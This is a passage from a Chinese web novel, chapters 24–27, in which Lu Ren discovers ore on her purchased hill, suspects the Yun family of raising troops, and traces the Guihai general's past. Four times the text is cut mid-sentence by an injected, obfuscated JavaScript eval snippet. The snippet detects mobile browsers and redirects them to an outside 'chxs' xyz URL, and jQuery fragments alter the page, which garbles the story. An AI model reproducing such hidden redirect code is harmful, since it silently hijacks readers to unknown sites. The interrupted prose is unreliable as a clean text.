“语出《荀子·劝学篇》:“锲而不舍,金石可镂。”机关算是镂以金石了,叫此名字倒是合理,不过若非我先看到,大抵是猜不出来里面是写机关阵法的。” “你都看完了吗?” “没,只是挑拣了几本,里面倒是有本很是精致的书,名为《治世新篇》。” “治国理政的?” “我不晓得读法对不对,不过我横看竖看都觉得是本菜谱。” 路壬眉毛微蹙,寻到书翻上一翻:“第一篇姜辣萝卜……” 她再三翻看,最终还是满腹疑问的合上道:“反正不是剑谱。” “其他的书名也都很奇特,上面的这些本内容和书名对上的,只有《金石镂》,便先拿了这本学。” “机关术大概不会练至走火入魔。”路壬将《金石镂》交给云配,自己复又翻看起来其他书名。 “你瞧《王孙乐》,《窥天》,《禾满》这书名都不知所云,《王孙乐》是写易容相关的书,只是另外的……” “《窥天》和《禾满》为什么是空白的?” “封皮上写着“看缘分”,大概我们二人无缘?” “无缘便不看了,留着给有缘人。”路壬阖上书,从书堆里寻了一本又新又旧的书,翻开一看是剑谱,倒是有个规规矩矩的名字,叫《剑谱》。 所谓又新又旧,是指此书前本破旧,后本是新增的补注,看起来像是两人写的。后本极尽解释,方向,动作,力度一一标注,像是给一个从未学过武功的人看的。 怀永安的功夫大概是从此处学来的。 此剑谱精妙,她虽用刀,但亦有相通之处。 “我先取了这两本去,你最近不看吧?”路壬选了《剑谱》和《王孙乐》。 云配摇头:“暂无兴趣。” ———— 路壬去了密室,空空如也,卢献他们依旧没回来。 此时大概和弘王在一起。 她叹息一声,寻了处空白册子就开始抄写《王孙乐》,真不明白易个容,王孙乐个什么乐。 也不知道几日能抄完,抄完了让卢辛去给人送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13937821|147667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 云配这几日光顾着看书,倒是没天天的念叨大牢里的定国公世子了,过几日还是需要找梁兄长问一下近况。 ——— 卢辛查到了那个异族人的来历,是左家姑娘从街上买来的,只是似乎这位大小姐想挫挫他的锐气,所以那人才身上有伤。 左忱也默许了女儿这个无伤大雅的喜好。 至于先前卖他的摊主,已经销声匿迹,见过他的人有的说是有一个刀疤贯穿眉心,有的说是右脸有个殷红的胎记。 什么人会把异族人千里迢迢卖到这里?宣城不就是一个普通小城,若是求财,去临安或者再往南些与陈国交界处大概更容易脱手。 “家主觉得此事哪里最为蹊跷?” 路壬满面凝重道: “人在宣城卖,比较便宜。” “也许已经去过临安没人买?” “倒是……不无道理。”她扶额摇头,横竖没有思绪。 “其实现在很少称奴隶,我们一般称为奴婢,奴隶一般对外族人口才会这样说,因为语言有壁垒,不能正常沟通,更难调教,但本质上并没有什么太大区别。” 路壬忽然想起那异族人的异样,虽然他从头到尾都未说一句话,但他绝对能听懂路壬说的话。 槿国与临国相连,虽化姓东方,但语言并不相同,两国贸易、与会一般都会有专门的译官,通晓两国语言的槿国人怕是不多。 眼下朝廷与槿国和谈,当真能谈成吗? “一般槿国人什么情况下会学我们临国人说的话?” “商人,译官,还有槿国部分官员和皇亲国戚。” “嘶,有点麻烦。”路壬决定还是修书一份给卢献看一看,指望她怕是不太能指望上。 路壬要买的地卢辛着人都买下来了,价格不算低,卖出去还能再买块良田,百姓很是乐意。 接下来是垦荒了,倒也不必将地都垦了,长着树的地方依旧让它长着树,现在寒冷,长着植被的地方也不多,现在找些隐秘的地方安营扎寨,等到春天植被一长,任谁来了都难发现。 到时这地方山匪一闹,可怜本来要建山庄的卢家,白白买了那么一块地,白白费了一番功夫建了什么围墙宅邸,竟成了山匪的嫁衣。 剩下的就靠他们这些地能生长出来多少粮食,能养活多少人。 虽然旱灾不是在这两年发生,但王朝更迭少不得要乱上一阵子,届时粮食怕是有市无价,还需早做准备才是。 她并不太擅长经商,不过恐怕要让人扮成商队,去其余地方买些余粮。 再然后养些牲畜,养些马,甚至于卢献想在这养兵都行。 所以云家的红叶山庄里,养些一些兵卫吗? 在这个皇权日渐倾颓的国家,像云家这种世家可以在朝廷的视野下拥有部分隐秘的兵马。 这是她在看到舆图时想通的事,她可以用来藏人,云家也一样。 有人告状,云家借此出了双倍的地价,合法的将临安附近的地收入囊中。 如若不是怀永安忽然搅局,云家损失的也只有金银而已,但却可以在意王的承认下,光明正大地扩充田地。 恐怕云家不惜屠村也要掩盖的事绝不只是一处温泉这么简单。 24. 一溪初入千花明 假使先前条件成立,云家养兵,那他是为了什么? 云相在朝中已升无可升,难道一定要到封侯拜相不可? 鲜花着锦,烈火烹油。 云家现下太夺目了。让人觉得不该有向上一步的欲望,又让人觉得没有这种欲望不太正常。 但事实上,在路壬记忆中的进程中,云家淡出了王朝的权力中心,甚至从云配获罪的那一年至她死的那一年间,再无一人出仕。 她并不在意云家的起落,只要不会波及到云配即可。 ———— 十五日后,天气渐渐回春,那阵江南彻骨的寒冷还是过去了,开始阴雨连绵,潮潮湿湿,衣服贴在身上有些沉。 云配开始爬墙头上练自己造出来的袖弩,又造出来一些无用但费材料的东西。 云五公子过去了那段跟她们两个流浪到江南的日子,已经渐渐忘了缺钱的那段岁月且丝毫没有想起自己从云家跑来时身上没有带一分钱。 故而云配在卢家成了一个不太明正言顺的存在。 旁人来家中拜访时,卢家家主称云五公子是友人。 友人便友人吧。 横竖家主对云五公子的要求无有不应,底下人又能说什么。 ———— 路壬最近经常出门,正巧碰到了一位牛车拉炭的老翁正于炭坊主人谈价。春暖雪化,炭的价格应当便宜很多。 “今日某不收,明日炭价还要跌上一跌。” 老翁黢黑的一双手攥了攥自己衣袍下摆,回头又满是心疼地看了一车炭。 路壬披着斗篷揣着手问道:"这炭怎么卖?" 老翁似是又瞧见希望,试探的给出了一个价格。 虽是已经高于收购价,但已较隆冬时便宜很多。 “这牛车能借我先拉回去么?可以给你些银子做押金。” 身后人悄声提醒她:“家主,采买这种事交给管家就是,咱们今日外出带着这车炭不好走啊。” “带着吧,江南这天真是奇怪,明明都生叶开花了,却还是冷得很,庄子上采买不便,带去也好缓缓。” 老翁点点头,接过了银子。 “你家在哪里?事后我派人给你送去。” “家便在城郊城门边上,贵人说个时间,我届时等着贵人。” 路壬道:“老伯,今日可能来不及,我等直接去就是,天寒地冻的,不用等在外面。” “天寒地冻?”老翁说起这句话时,路壬和随行几人已经赶着牛车离开。 庄子上的人听说路壬来了还是早早去迎,见她带着整整一车木炭,倒是都浅浅笑了出来。 “我这便给家主盛些热汤。”一个领头的妈妈收了收围裙急忙跑去厨房盛汤。 “大家各自忙去便好,不必管我。”路壬打算饮完汤水便动身去山上。 她喝汤时,忽又想起来什么,让手下去挑了一筐炭,而后几人打马离开。 如路壬所料,虽土地贫瘠,位置却极好,每敲定一块地方,路壬便让人扔一块炭,接下来便是带人来修房子围墙之类的。 天不作美,五人先前看了天色如常,并未在庄子上取伞,只得先寻处地方躲避。 其中一人脚下一滑,顺着山坡就踩滑下去,路壬当即拔刀,纵身一跃,将人一把捞住,另一手一刀插进石中,这才稳住身形,山上坡抖,倒也不高,三丈多些,人若摔下去多少要受些伤。 另外三人忙将他们二人拉上来。路壬拔出刀,带出来几处碎屑。 “这是玉吗?” “怎么会如此通透?” 路壬伏在地上,瞧见方才她插入的一整块石头,虽然遍布裂纹,但都透着浅浅的青绿色。 她用刀将那块石头撬下来,拿在手上,沉甸甸的,似玉非玉。 她自觉奇怪,让人先收好,自己则攀着岩壁爬了下去。从下往上看岩壁岩石中混杂些黑灰色的石头,少部分有些赤红,像是干涸的血迹,零星几点有浅浅青绿色。 路壬寻了处矮的地方用指甲抠了抠,抠不下来,她便打算用刀尖试试能否撬下一块,此时她却察觉到刀身轻微的晃动。 可见岩壁有些古怪。 再将刀靠近一些,路壬察觉到刀身更强的偏离。 …… 这该不会是…… 路壬微张着嘴巴,呼出的白气缓缓飘起,又在空中慢慢散尽。 人生,有时候就像个玩笑。 她撬下一小块黑灰色的石头,又得了一块赤红色的石头,便直接招呼上面的人:“绕下来,走吧,给这处做个标记。” 四人不明所以,直接跟着路壬回了庄子,眼看着路壬直接从庄子上跑马回府,他们只好先去还了牛车,再回了卢府。 卢辛正在门口惬意的喝着茶,被疾驰而来的路壬一把拽进府里,关上了大门。 “家主,这么急这是发生何事了?” “快,尽快帮我送封信。” “是,家主将信交给我,我即刻派人去。” “我还没写。” “啊这……” “很快,你等我先回书房。” 路壬将东西和信件都装进信封之中,吩咐了五遍尽快去送。 她又提笔写了几个字。不知为何,又将笔放下,信纸团起。 算了,人知道的越少越好。 云配听说路壬回来了,便拎着食盒赶了过来,他今日穿了件橘红色的外衫,相较于裹得严严实实的路壬,很是单薄。 “你不冷吗?” “怎会,这已是春日了。” 相较于饭菜的香味,路壬又闻到一股浓郁的花香。 “什么香味?” 云配从身后腰间取出一含苞的花枝,拿至路壬身前。 “隔壁的花枝,悄悄在屋顶上折的。” 路壬接过,稀疏的花枝上,七八个花骨朵长在枝上,还未长出新叶,不过折处裸露出的树皮有嫩嫩的青色。 “好香。这是什么花?” “这是腊梅,一着春便开花,比迎春还开的早些。”云配从窗口指了指不远处的一棵树,“喏,就是那,从院墙上能直接够到花枝。” “我去找个花瓶来放花枝,你先坐。” 云配瞧见路壬桌上了纸团,凑了过去。 待路壬捧着盛水的花瓶过来时,云配已用纸,团了七八个纸团。 “你是狸猫吗?怎么玩上纸团了?” “想造个防身的,但不致人性命的武器,你瞧这纸团如何?”云配伏在案上,一手拨弄着纸团滚来滚去。 “应当不致死,但能否防身不好说,纸团 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13937822|147667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太软了。” “实在想不出来什么好材料。” “你现在为何对造东西如此感兴趣?” “因为有趣极了,不像那些经史子集,背了也没什么用武之地,造出来弩就可以打树枝,果子,防身,甚至于将来将这些东西放在军中……” “有道理,不过放在军中还是算了,利器如若还没有控制住,短时间内很有可能刺向自己。” “我做的东西军中怕是也用不上。” “不会,你天赋异禀。”路壬夸奖的很真诚,一点都看不到什么敷衍。 云配扭过脸去,盘膝坐在廊下: “哦。” “你现在造的东西三丈以内,能防住几个人?” 云配从手腕上卸下袖弩给她,:“最多三个,目前造的弩仅可连发三支,再要射时需要换箭,时间不长,但五步之内来不及。” “能有一丝自保之力即可。”只要他不去劫狱,应当不会出什么大事情。 老邓这时候来报:“家主,梁长史递了拜帖,现下正在前厅坐着。” 路壬便稍微修整后,跟云配一起去了前厅。 梁思珃一身黑衣,行装也简单,听老邓说只带了两名亲信,其中一人受了伤,已着人去请大夫医治。 “梁兄长,可有要事?” “妹妹啊,你这房子怎么闻着一股霉味?还是重新修葺一番,卢量思也真是的,家业搭理成这样,留下的都是烂摊子。” “家中人也不多,暂且先修了凑合住。大多靠着庄子上的收成撑着。” “缺多少银子到绪州找我便是。对了,我听说弟弟要春闱,便带了些我先前的笔记,看对他有什么用。这次来的匆忙,只拣了一些我觉得重要的,其余的我让人用车送来。 都忘了你们大哥六元及第的事了,你让弟弟翻翻看,这书没用就撇在一边即可。” “梁家兄长费心了。” “嗯?云五你什么时候过来的?” “梁家兄长,我跟小卢一同过来的。” “我们讨论些事情,你先出去一下。” 云配看了一眼路壬,见她并未觉的不对,便扭头走了。 “妹妹,你看你哥的信了吗?” “信都是封住的,不是给我的我都未打开过。” 梁思珃扶额道:“不是兄长不信任你,是有些事情你知道了反而危险。你兄长也是真敢查。” 若非他是韩王手下办事的人,他真要怀疑卢量思是被韩王杀了。 “我兄长查到了什么?” “小孩子就不要知道了,对你没什么影响。” “好。” “我手下最近被伤到了,也没什么停脚的地方,暂时就托你府上照顾了。” “应当的,不知这位受伤的兄长如何称呼?” “你叫他方休便可,他是我手下的录事,若有什么人欺负你,找他帮你打一架也行。”梁思珃拍了拍身上的褶起身,“定国公府那件案子要重审,你们且先等着,朝中有人求情,这一家子肯定能活命。” ———— 两日后,路壬的加急信直接到了卢献手中。 饶是卢献见惯风浪,都在片刻间停了瞬喘气。 里面仅有三种石头和一张写着大字的宣纸:“你想发财还是想造反?” 25. 昭昭黄土破竹声 路壬在舆图上勾勾画画:“在山上还要找处水源。”在山上挖井不太现实,只能看看有没有山泉了,否则就需要找条小路运水,不过若是山上用水多,恐怕会有些麻烦。 水,是水。怀永安和她都将他们村的温泉的重点放在“温”上,忽略掉“泉”。 人在思考时,往往会忽略掉本质的东西。 若不是如今身处同种境地,她怕也想不到此处关窍。 隐于山庄深处,不需要额外的补给供足,这才是养兵最重要的。 怀永安当庭对峙时太在意仇恨,故而也未来及提起细节。仅凭带徽记的箭头就能让云明乱了阵脚,若是将云家藏兵捅出去,意王按不下来此事。 关键点发现了,然后呢,也不能怎么办。 人只有选择了另一条路后才会发现,原来还是原来的路好走…… 脑子好疼。 继续写信,不知道怀永安跑哪里去了,路壬便还是将信让卢辛交给卢献。 ———— “云家疑似养兵,造铁器,目前已确定的云家曾大量购置良田,并屠了一个村落。需建议,望速回信。” 卢献看到密信时,喝出来的茶水呛了出来,他掩着袖子好一顿咳。 “军师,可是病了?”一旁榻上躺着一个人,帷幔里窥不到全貌。 屋内点着炭火开着窗,有风缓缓透过来,吹的帷幔轻荡。 一应陈设尽是女儿家的东西,正厅挂着一幅梅花图,落款隽秀。 “无事,只是瞧见话本里新鲜的故事,一时惊到了。” ————— 方休在卢家住了三日才醒过来。 受人所托,卢府将人照顾的妥妥帖帖,几班人轮换着来。 卢府里多是老人,知晓当年卢梁两家故交,更何况如今家中只有尚年幼的家主,有梁家的庇佑,无论如何日子都会好过些。 方休瞧着也不过二十出头,鬓发梳的一丝不苟。 他身上被砍数刀,刀刀要害,竟也能活下来。 但这刀似乎也太多了些。 像是一股脑全往他身上砍似的。 这么拼命吗? 有些蹊跷,不过路壬并不打算审他,好好养着,等人好了便再送回去就是了。 路壬瞥见盆里,仆妇尚未取走的衣物,整件衣服都快被血浸透了,却在领口处沾到了模糊的血印。 鸟首鱼尾。 路壬也焦躁起来,恨不得将人直接晃醒。 云配的那块牌子一直在他手里,还有另外一块?或者几块? 这种令牌还一式几份的? 这血印总不至于是云配悄悄带着令牌跑去杀人了…… 路壬拔了刀,将那块布料揪着割了下来,余下的也不让人洗了,直接抱去烧了。 “这衣服料子不错补一补……”来收拾的钱妈妈有些可惜。 “我之前在的地方,被人捅过时穿过的衣服要烧点驱邪,不然不吉利的。” 钱妈妈是个迷信的人,一听说犯了忌讳,忙答道: “哦哦,那我这就拿去烧了。” ————— 路壬带着那块布去寻了云配。 他正在手工打磨自己新做的机关锁。 路壬将布片摆在他面前。 “什么?”云配不明所以。 “你看这个印记。” “又是这个图案?” “方休的衣服上沾上的。” “就是那个被抬过来的人是嘛?”云配眉心一皱,“你不会怀疑我吧?我吗?” 路壬拍拍他的肩,坚定道:“多虑了。” “那个令牌还在我这。”云配从怀中掏出来。 令牌与印记完全贴合。 “这东西还能有许多的少主吗?”路壬满面疑惑,不是很懂先前那群人对“少主”一词的定义。 “少主,一般有几种情况下会用,一种是年少的君主,当然定然不是在说我; 或者是较为年轻的主人,常用做称呼一些大家族的继承人,我理解的便是这一种。 不过还有种说法是宗室女,在《汉书》中曾有记载:“愿以汉外孙元贵靡为嗣,得复尚少主。”,这个说法性别有误,还是第二条更为精准一点。” “会不会这个家族儿子比较多,选不出继承人,便都称为“少主”了?” “那该……如何区分开呢?” 路壬将令牌递回云配: “且不管此事,反正我们查不出来些什么,待方休醒了许有新的线索。” “那我们就真的干等着?” “查一查归海。或者回临安找你母亲问下身世。” 云配瞪了路壬一眼:“这让我怎么问的出口!” “那就先查归海。”路壬斜斜避开了云配的目光,表面镇定自若,实际皆是虚张声势。 “归海能从哪里查起?我们凑银子去“如听闻”?” 路壬幽幽道: “怎么?你真有三十万两?” “没……” “说起来“如听闻”传言在庆州,为何出现在临安?当然,此事不重要。我记得“如听闻”先前说归海将军是五王兵乱平叛时倒戈谋反的。 如果是归海我们暂且不清楚,但五王兵乱之事,府里旧人大概知道。” 因为无论是卢家,梁家,还是其他的江南士族,大都经历了五王兵乱。 这还是她上次去赴宴听说的。 ————— “五王兵乱啊,那时候都在逃。官道上挤满了马车。这南方诸城不是一马平川,交通要道一堵,想飞都飞不出去。”老邓跟路壬云配一起坐在厨房里,时不时给大锅添根柴。 “那当时我们家怎么逃出来的呢?” “当时到处被围住,到处是叛军,眼瞅着旁边人都被杀了许多。烧杀抢掠,这辈子没见过的作孽事就这么见了。 老家主护着三个孩子在身后,家主你就在二公子怀里。 那个地方是个山脚,二公子瞧见一处漏下去的坑洞,忙把你塞了过去,植被茂盛,或可逃过一劫。 那个时候,谁都不知道该做什么,没有武器,周围都是妇孺老幼,说是引颈就戮也不为过。 我们就被刀架着一直往前赶路。 二公子说也不知把你放在那里对还是不对,因为他并不知道哪种选择能让你活下来。 走了两日。 归海将军带兵赶来了。 打仗,谈判, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14043041|147667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁都不知道发生了什么,但我们这些人得救了。 卢家迁去了宁国,后来五王之乱平定,又回到祖地宣城,大公子没了后,又迁去四五镇。 这些事二公子没与家主讲吗?” 路壬身形一僵,面露迷茫之色:“时间太赶,未来及……” 老邓怔怔看着路壬,忽然察觉到自己的失语,据说二公子认亲至身死不过区区两日。 从生离至死别。 “家主……” 路壬听到老邓语带颤声,忙递了杯茶过去:“没事邓伯。那归海将军,你能给我再讲讲吗?” “归海……归海家啊,战功赫赫,几代人的军功,受封永安候,世袭罔替。” “他家都有什么人,邓伯你知道吗?” 老邓沉思片刻:“归海将军有三子一女。不过名字都不记得了。归海家满门抄斩,不过当时有个传言。” 老邓环顾四周,压低了声音:“归海家的三公子下落不明。” “后来呢?” “家主啊,哪有所有事情都有后来的?说实话,咱们家也算是蒙了归海将军的恩情,所以我倒希望归海家的三公子活的好好的,隐姓埋名做个老百姓就挺好的。” “活着,也许可能会报仇。”孑然一身,反而无所顾忌。 老邓打量着这位年轻家主,不算柔婉,会舞大刀。自他兄长死后接手重担,诉讼,迁居。像是葎草,长在风里,但处处皆可扎根:“家主啊,四五镇的仇……” “放心,邓伯,已经报过了,我们家与那些人再没什么关系。”路壬对老邓扯出一个笑,扭向门外的柳绿鹅黄。 ————— “你说你跟这位下落不明的归海三公子会不会有什么关系?” 察觉到路壬略带探究的眼神,云配翻了个白眼道:“在事情还没有确定之前,不要往我头上安爹。” 他又固执道:“在心里也不行。” “好的。”路壬乖巧应答,毕竟她对云配的身世一点都不在意。 “但是如果……如果真的有这段家仇,我要报仇吗?”云配说的很缓,试图通过语速去掩饰自己内心的波澜。 路壬其实不是很明白为什么有的人会患得患失。大概是她没什么可以失去的,所以从不畏惧。 云家的五公子,应该也是在家中如珠如宝疼爱的孩子。如无意外,这辈子顶天的烦心事大概也就是得了个没什么实权的荫官,娶了个不那么合心意的妻子,生了个没什么出息的孩子。 不至于像现在这么手足无措。 “仇,你想报就报,想不报就不报。你该做不代表你想做。”路壬依旧不知如何安慰他,额头上竟也出了层薄汗。 “你不懂,我根本控制不住乱想。” “不是让我不许想吗?”路壬找了张纸,信手涂涂画画,先是画了一个小人,人头上画了条贯穿纸的线条。 “……” 将那幅画整张摊开到云配面前,他分辨了好久都没细瞧出来是个什么东西。 “杞人忧天。”路壬笑着轻道。 云配不再理她,扭头自顾自的摆弄起了先前做好的机关锁: “什么乱七八糟的……这个锁便叫七七八八锁好了。” 26. 慆慆零雨隐虫鸣 路壬和云配无聊时,偶尔会在街上闲逛,买些吃食。 “买那么多,吃得完吗?”云配看她怀里抱着五六样的小吃,不知该说些什么。 “可以当晚餐。” 她慢条斯理往口中填着东西,渐往前行,道路拥堵了起来。 二人往前挤了挤,瞧见前面有个劲装的少女正在摊前打着人。 云配明显感觉路壬顿住了,她的眼睛直勾勾的盯着那个少女。 路壬的感情并没有什么表现力,对什么东西在意就会用这种盯破那东西三层皮似的方式去盯着,也不知是反应不过来还是如何。 “怎么了?” “那是我见过最完美的头。” 二月的风吹的云配遍体发寒,眼瞧着那边事情到了收尾,便赶忙扯着路壬的袖角将人拽回府。 “家主,有客人来了。”卢辛正在门口迎他们。 “谁?”谁没事来卢家找她呢? “燕还公子。” “嗯?他怎么来了。”路壬将手上的东西交给卢辛后,便快步去了会客厅。 “呦,回来了?慢点跑。”燕还端坐着饮茶,举手投足,尽是气度。 他依旧没带面具,一身银素的外袍,光下隐约还能瞧见其上的竹枝暗纹。 “你怎么来了?” “这不是听说你有事,赶忙过来了。” “嗯,我们去书房聊。” 在场统共就三人,谈话避着谁不言而喻。 云配站也不是,坐也不是,便道:“你们在这聊,我正好去小憩一会。” 卢辛这时赶来:“家主,有位客人拜访。” “今天人好多。”路壬扭头看向卢献。 卢献笑道:“不妨事,我们的事等会再详谈。” “请那位客人进来吧。” 不多时,那人便快步走近,腰间别剑,是那个劲装少女。 路壬的眼又亮了。 云配贴近她的耳畔,悄声说:“你不会真要把人头给砍了吧?” 路壬目不斜视,不忘回复云配: “不会,只是感慨于上天的鬼斧神工。” “这就是妹妹吧,来抱一抱。” 哐哧一下,便将路壬抱了满怀。 “这是弟弟吧,来抱一抱!”那人又要伸手揽住云配,被路壬一手捞了回来,连刀带着刀鞘直接架在了少女脖颈之间。 “不是,不要磕着碰着。” 少女将手掌摊开高举,以示无害:“只是个亲切的动作,不做便不做了。” “敢问阁下是谁?突然造访有何要事?” 少女故弄玄虚,捻起兰花指娇俏地将刀推远了些,自顾自给自己倒了杯茶,咬了两口点心。 “茶也喝了,点心也用了,阁下如实交代吧?”路壬拇指弹起刀柄,刀鞘与刀柄之间闪烁了片刻寒光。 “我是卢献的故友,我与他一见如故,故而结交,惊闻噩耗,妹妹你也莫要伤心过度,该是自身立起来,光耀卢家门楣。” “他字是什么?” “量思。” “他写字用左手右手?” “左手。” “他用右手。” “我记错了。” “哦。”路壬点点头,不再问下去。 少女大概未曾想到自己便是如此糊弄过了,一时竟也没接上一句。 “你来就是为了悼念他?”路壬问道。 “一则悼念,二则不知可否借些银钱?方才行侠仗义将人打了,要赔钱。” “多少?” “十二两。” 路壬颔首示意卢辛拿钱给她。 少女迟疑接过,冲她行了礼,便头也不回的跑了出去。 卢辛笑眯眯问道:“家主不担心是骗子吗?” “那就是骗子。” 一旁的卢献也来了兴趣:“哦?那为何你方才要给她银钱呢?” “行侠仗义是真的,她除了不认识我哥,其他的应当不是掺假。走到别人宅子里骗一个陌生人,是真的走投无路。”路壬冷静的摆出她的判断。 “能够体察别人苦痛,正直善良,做的不错。”卢献真心实意的夸赞了一下。 路壬冷漠插道:“不是,是为了我哥死后的名声。她都已经认我哥做友人了,不给钱有可能跟我哥一见如故,二见倾心,然后我哥始乱终弃,所以她才来家里找我讨要说法,若我怜她困苦,就会给她银钱;若我将她赶出去,她就可以对簿公堂,讹我。” 这话不无道理,横竖死无对证,多数人家为了名声大概也会私了。 “竟是如此……嘛。”云配站在一旁,人都傻了,“人心险恶,人心险恶!” 卢献听此解释,哭笑不得:“令兄的名声真是脆弱不堪。” 云配深有感触,点头称是。 路壬示意卢辛关上门,并将云配提出了门外,吩咐道:“你先去吃饭。” 摆明便是不想带云配谈话。 云配不由自主胡思乱想,但又细捋了一遍,燕还是弘王的人,定国公府小姐是弘王未婚妻,路壬现在和燕还谈事情大概是襄助弘王,弘王得势,定国公府就没事,定国公府没事,那仲安便无事。 思及此,云配不再纠结,径直回房。 “方才云家的那小子,为什么也点头?” 路壬坦诚以告:“因为梁兄长帮忙救定国公府是因为“我的兄长卢献”心仪定国公府小姐方无虞。” 卢献眼角含泪,笑的脸都快僵了:“果然人死了后,胡话是张嘴就来的,横竖死无对证。” “你为什么那么高兴?”路壬有些差异,微微歪头。 他挑眉道: “有点荒唐。我同方无虞八竿子打不着的关系,这辈子还没能见一面,就已经情根深种了。” “人总活在别人的话里,很正常。”路壬拍了他肩以示安慰,“这句是怀永安让我东窗事发时说的。” “他倒考虑的很周全。” “冷静的时候才能考虑周全,他当时忽略很多,不过现在找不到他的人。” “先带我去那个地方吧,其余事我们路上聊。” 路壬出门吩咐了一声,便带着他骑马出去。 相较于前两日,风勉强也算暖和了一些。两人并排的跑着马,最近不是农忙,路上鲜有人经过,而且便低声交谈起来。 “我有所预料他的身世,不过未曾想到如此悲惨。” “是,但当时我们一直未曾想通为何要强占那处温泉。因云配说红叶山庄是温泉庄子,故而我们以为仅为享乐。” “然后你发觉你占山为王只差一条河?” “是。不过山上的东西,适合造反。” 卢献伸出左手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14111731|147667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 食指中指揉搓眉心,“这真是……” “哥,承认吧,咱们家现在不适合当忠臣。”路壬扭脸对他道。 到了山脚,路壬寻了处平坦茂密的地方系上马,带着卢献按照先前的印记去寻。 “先前又让人悄悄寻了其余几处,破土后,大多都能瞧见这种黑色和赤色的石头,还有萤石,也就是夜明珠。” “一整座山?”卢献捡起一块碎掉的炭,面上并没有那么高兴,黑色的墨迹染在他的指尖,他用力搓揉,并不能干净如初。 “一整座山。” 路壬又补充道:“也有可能连绵的几座山都有,不过我只买了这座山的地契,再远了不好买,且易被人查到。” “我这几日会让人来接手此处,你的寨子我倒可以让人帮忙一块建了。” 路壬点点头:“如宣城有事,我会带人退至寨中。届时以暗号联系。我们定个暗号?” “什么暗号?” “暂未想起来。” “照彻大千清似水,也曾照彻微尘。便以这句吧,暗夜微尘,苟且偷生,总需寻条前行路。惟愿今后所施所为,不折苍生,所思所量,不弃良知。” 路壬捧场点头:“挺好的,没读过,记住了。” “回去多看点书!”卢献将手上的炭块弹到路壬的脑门上。 “还有事要问你,你知道归海家吗?” 卢献低身将衣袍角塞至腰带中,又将靴子往上提了一提:“这是一个禁忌。你想知道什么?” 二人扶着树,缓缓下山。 “大概知道了我们家和归海家的一些渊源。” “其实大概算我知道的全部了。叛军退兵确实有些奇怪,不知归海将军如何谈判的。” “另外一事便是,“父亲”死的蹊跷,对吗?” “刮目相看啊,你们查的比我想象中要深。” “三只蚂蚱,本来想查另一件事的,串在一起了。” “你想知道吗?”卢献走在前面,扶着树忽然回头。 路壬看着他的眼睛,黝黑的眼睛瞧不见半分波澜:“怀永安说,你做什么决定都不要紧,如果你需要,告诉我即可。” 卢献轻笑了一声,像风声:“算了,等到哪日我们真的用上那句暗号再说。” “卢望,不是被家仆抱走的,是你藏起来的?” “初见编出来是为了试探你的。 当年那个情形真觉得活不下去了,就将她藏在那里,想着我们家活下来一个人也行。”二人继续往前走,下了一个又一个坡。 路壬拽住他的胳膊,让他停住。 “本就无错的事,不能强加在自己身上。” “知道了,小蚂蚱,啰嗦的快成蛐蛐了。” ———— 云配坐在卢府台阶上等路人,许是太过无聊,便靠着石狮子睡着了。劲装少女本想敲门,瞧见门口有人睡着,遂去另一处石狮子那里斜靠着,昏昏沉沉的竟也睡下了。 二人打马回来,见门口门神,路壬未敢从大门进,牵着马从后门进去,又喊人将两人轻些抬去床上。 “你先看着他们两个人吧,我走了。有事再写信。”卢献看着竟无端生出几分心绪,他低声给路壬打了招呼,便牵马走了。 老邓有些心疼道:“家主,燕还公子又将咱家的那匹玉骢骑走了。” 27. 矮纸斜行闲作草 “这得是多没心眼,才能在别人家门口摸着石狮子睡着?”路壬今日走得远,没等云配一同用饭。 路壬打算问下少女情况时,才发现没有名字可以指代:"忘了问名字了,那姑娘醒了吗?问她要不要一同用膳。” “云公子那边还需要叫一下吗?” 路壬摇头道:“他定是等的累了,饭先给他留着,等他醒了再给他温一下就是了。” 她快步去了书房,寻了支半干未干的毛笔,着急忙慌的写下:照彻大千青似水,也曾照彻微尘/臣。 自觉难看,便又写了几幅,搁在案上便去看那位脑袋完美的少女了。 